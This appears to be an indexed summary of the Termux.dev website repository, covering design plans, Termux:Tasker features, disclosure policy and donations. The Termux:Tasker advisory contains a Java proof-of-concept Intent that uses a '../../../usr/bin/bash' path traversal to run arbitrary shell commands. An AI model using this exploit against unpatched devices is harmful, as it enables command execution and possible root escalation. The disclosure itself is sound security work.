Termux.dev Website Source

repository·master·Indexed 23 days ago

https://github.com/termux/termux.github.io

Source code for the Termux.dev website built with Jekyll. Includes documentation for running the site locally, managing multi-language posts and categories, and archived security disclosures and release notes for Termux, Termux:Tasker, and Termux:Widget.

Tokens
12.1K
Snippets
10
Records
50
Agent score
79%

What's inside termux-termux.github.io

  1. Planned improvement: APK Library File (APKLF) design

    master

    The APKLF (APK Library File) is a new execution and packaging design being implemented to ensure Termux remains functional as Android security restrictions evolve.

    The Problem: Android Execution Restrictions

    Android restricts the execution of files located in an app's private data directory (/data/data/<package_name>) if the app targets targetSdkVersion >= 29 (Android 10). This is due to SELinux policies (specifically the untrusted_app* context) designed to prevent the execution of downloaded code. Currently, Termux bypasses this by using targetSdkVersion = 28, but this is a temporary workaround that will eventually be deprecated by Android.

    The APKLF Solution

    To comply with modern Android security while maintaining a functional environment, APKLF aims to leverage the apk_data_file SELinux context. This involves:

    • Adding executable files to the APK native library directory.
    • These files are extracted to the system-controlled /data/app/*<package_name>/lib/<arch> path during installation, where execution is permitted.
    • Because the native library directory is a single-level directory and does not support the nested structures required for a rootfs, files must be symlinked into the rootfs within the app data directory.
    • To avoid the need to redistribute a massive single APK for every package update, packages will be distributed in their own separate app APKs.
  2. Understand Dynamic Variables in Termux packages

    master

    Termux is transitioning from hardcoded paths to a 'Dynamic Variables' design to support environments where the Termux rootfs directory is not the default /data/data/com.termux/files. This allows Termux packages to function correctly in:

    • Secondary Android users or work profiles.
    • External SD cards.
    • External apps with different app data or rootfs directories.

    Implementation Details

    • Executable files: These are patched at build time with language-specific code to read environment variables exported by the Termux app at runtime. They are treated as read-only library files located in the system-owned APK native library directory: /data/app/*<package_name>/lib/<arch>.
    • Non-executable files: These are patched at install time by the package manager (dpkg). Placeholders in the package files are replaced with the current environment variable values.
    • Bootstrap: Similar replacement logic is applied to package files in the Termux app bootstrap during installation.

    Packages using this design are identified in their build.sh files and .deb control files.

  3. Termux:Tasker Privilege Escalation Vulnerability

    master

    A vulnerability in Termux:Tasker (versions v0.1 through v0.4) allows any application to execute arbitrary commands within the termux context. If termux has been granted root permissions, the attacker can execute commands with root privileges.

    This occurs because FireReceiver.java failed to validate the canonical path of the executable parameter, allowing directory traversal (e.g., using ../../../usr/bin/bash) to bypass the intended restriction of only executing scripts within the ~/.termux/tasker directory.

    // Proof of Concept: Simulating an arbitrary command execution via Intent
    Intent intent = new Intent("com.twofortyfouram.locale.intent.action.FIRE_SETTING");
    intent.setClassName("com.termux.tasker", "com.termux.tasker.FireReceiver");
    
    Bundle bundle = new Bundle();
    bundle.putString("com.termux.tasker.extra.EXECUTABLE", "../../../usr/bin/bash");
    bundle.putString("com.termux.execute.arguments", "-c \"echo -n 'I am '; whoami; echo 'creating exploit-file'; touch exploit-file; echo 'finding exploit-file'; find . -name exploit-file 2>/dev/null; sleep 5;\"");
    bundle.putBoolean("com.termux.tasker.extra.TERMINAL", true);
    bundle.putInt("com.termux.tasker.extra.VERSION_CODE", 4);
    
    intent.putExtra("com.twofortyfouram.locale.intent.extra.BUNDLE", bundle);
    context.sendBroadcast(intent);
  4. Wait for foreground session command results

    master

    Termux:Tasker now supports waiting for results from foreground session commands using the Wait for result for commands toggle.

    Behavior Details:

    • Result Capture: For foreground commands, the result is returned as a session transcript. This transcript combines both stdout and stderr into the %stdout variable. It includes everything sent to the pseudo terminal /dev/pts, such as PS1 prefixes from interactive sessions.
    • Automatic Closure: For foreground commands that exit with failure, termux-app version >=0.118 is required to ensure sessions automatically close without requiring manual user input (pressing enter).
  5. Termux security disclosure timeline and policy

    master

    The Termux team follows a structured timeline for handling reported vulnerabilities:

    1. Triage: Once received, the team triages the report to validate it and assess impact. Valid reports are normally acknowledged within 3 business days.
    2. Fix Deployment:
      • Standard vulnerabilities: Aim to deploy fixes within 90 days.
      • Actively exploited vulnerabilities: Aim to deploy fixes within 7 days.
    3. Public Disclosure: After fixes are deployed and available to users, the report is disclosed publicly after 30 days via GitHub security advisories and/or Termux site security posts.
  6. Planned improvement: termux-core Library

    master
    The termux-core library is a planned development that will allow external projects and commercial entities to integrate the Termux execution environment and its package ecosystem directly into their own applications. This removes the current requirement of performing a full fork of the Termux app for integration. The library is intended to be released under the MIT license to encourage adoption and prevent license conflicts.
  7. Wait for results from foreground commands

    master

    In Termux:Tasker, you can enable the Wait for result for commands setting.

    • Behavior: When enabled, the plugin will wait for the command to complete rather than just starting it in the background. This applies to both foreground sessions and background commands.
    • Foreground Output: For foreground commands, the result returned includes a session record containing both stdout and stderr combined into the %stdout variable. This includes anything sent to the /dev/pts pseudo-terminal, such as the PS1 prefix in interactive sessions.
  8. Mitigate Termux:Widget Privilege Escalation

    master

    To secure Termux:Widget against privilege escalation:

    1. Update to v0.13.0 or later: This version fixes the vulnerability by validating that the executable path is normalized and resides within ~/.shortcuts or ~/.termux.
    2. Use Pinned Shortcuts (Android >= 8): On Android 8 and above, use the ShortcutManager API to create Pinned Shortcuts. Unlike Static Shortcuts, the Android system manages Pinned Shortcuts, preventing launcher applications from accessing the Token or executing unauthorized scripts.
    3. Security for Android < 8: Users on older Android versions must be cautious with third-party launchers or shortcut managers (e.g., Shortcut Maker), as these apps can potentially execute any script within the allowed directories if they obtain the Token.
  9. Support Termux via Open Collective or GitHub Sponsors

    master

    To support the development of Termux and help cover hosting costs for the main package servers (hosted on Hetzner), websites, and testing devices, you can donate through the following official channels:

    Open Collective

    Termux uses an @opencollective account managed by Open Source Collective.

    • Supported payment methods: Credit/debit cards, PayPal, bank transfers, and over 40 cryptocurrencies (including BTC and ETH).
    • Donation types: One-time or recurring (monthly/yearly) contributions.

    GitHub Sponsors

    You can become a sponsor at https://github.com/sponsors/termux. This is managed by Open Source Collective.

    • Supported payment methods: Credit/debit cards or PayPal.
    • Donation types: One-time or recurring monthly contributions.
  10. Use stdin for background commands in Termux:Tasker

    master

    Termux:Tasker v0.6.0 supports passing scripts via stdin for background commands. This allows you to execute scripts directly through shells like $PREFIX/bin/bash or $PREFIX/bin/python without creating a physical file first.

    Important Constraints:

    • No Arguments: When passing a script via stdin, do not include command-line arguments, as this will cause failures in certain shells (including bash).
    • Character Limit: The maximum supported script length is 45K characters due to Tasker plugin bundle limits.